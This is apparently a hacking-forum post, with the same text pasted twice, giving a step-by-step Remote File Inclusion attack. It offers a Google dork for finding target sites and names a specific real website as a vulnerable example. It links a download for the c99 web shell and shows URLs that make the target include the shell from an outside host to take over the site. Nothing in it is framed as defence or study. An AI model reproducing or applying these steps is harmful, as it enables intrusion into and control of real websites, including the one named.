"inurl:index.php?page=” its a Dork of RFI hacking
It will show all the pages which has "index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or u can use the following command
http://www.targetsite.com/index.php?page=www.google.com
see example of this website http://www.cbspk.com
http://www.cbspk.com/v2/index.php?page=h...google.com
If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack.
Now u would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:
http://www.sh3ll.org/c99.zip
Now we need to upload the shells to a webhosting site such as ripway.com, viralhosts.com,110mb.com or another free hosts etc.
Now here is how u would execute the shells to gain access. Lets say that the url of the shell is http://www.sh3ll.org/c99.txt
Now u would execute the following command to gain access
http://www.cbspk.com/v2/index.php?page=h...g/c99.txt?
Don't Forget To add "?” after .txt at the end of url or else the shell will not execute. Now you are inside the website and u could do anything with it.
Quote:
Quote:
pastebin.com/9YDyVWd1
Quote:
more dorks
http://hack4rootz.org/forum/showthread.php?tid=86
It will show all the pages which has "index.php?page=” in their URL, Now to test whether the website is vulnerable to Remote file Inclusion or u can use the following command
http://www.targetsite.com/index.php?page=www.google.com
see example of this website http://www.cbspk.com
http://www.cbspk.com/v2/index.php?page=h...google.com
If after executing the command the homepage of the google shows up then then the website is vulnerable to this attack if it does not come up then you should look for a new target. In my case after executing the above command in the address bar Google homepage shows up indicating that the website is vulnerable to this attack.
Now u would upload the shells to gain access. The most common shells used are c99 shell or r57 shell. I would use c99 shell. You can download c99 shell from the link below:
http://www.sh3ll.org/c99.zip
Now we need to upload the shells to a webhosting site such as ripway.com, viralhosts.com,110mb.com or another free hosts etc.
Now here is how u would execute the shells to gain access. Lets say that the url of the shell is http://www.sh3ll.org/c99.txt
Now u would execute the following command to gain access
http://www.cbspk.com/v2/index.php?page=h...g/c99.txt?
Don't Forget To add "?” after .txt at the end of url or else the shell will not execute. Now you are inside the website and u could do anything with it.
Quote:
Quote:
pastebin.com/9YDyVWd1
Quote:
more dorks
http://hack4rootz.org/forum/showthread.php?tid=86
